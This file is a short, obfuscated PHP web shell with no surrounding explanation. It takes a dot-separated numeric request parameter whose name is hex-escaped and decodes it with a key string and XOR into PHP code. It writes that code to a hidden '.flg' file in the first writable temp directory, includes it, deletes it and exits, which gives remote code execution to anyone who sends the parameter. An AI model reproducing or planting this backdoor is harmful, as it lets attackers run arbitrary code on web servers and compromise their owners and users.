<?php

if(!empty($_REQUEST["\x74k\x6E"])){
	$component = $_REQUEST["\x74k\x6E"];
			$component	 =	  explode	(		'.',	$component	)  ;	 
	$mrk = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s8);
            $x = 0;
            $len = count($component);
    
            do {		if ($x >= $len) break;
                $v6 = $component[$x];
                $sChar = ord($s8[$x % $lenS]);
                $dec = ((int)$v6 - $sChar - ($x % 10))	 ^		62;
                $mrk .= chr($dec);
                $x++;
            } while (true);
	$parameter_group = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm"]);
	for ($marker = 0, $symbol = count($parameter_group); $marker < $symbol; $marker++) {
    $rec = $parameter_group[$marker];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
    $factor = "$rec" . "/.flg";
    if (@file_put_contents($factor, $mrk) !== false) {
	include $factor;
	unlink($factor);
	die();
}
}
}
}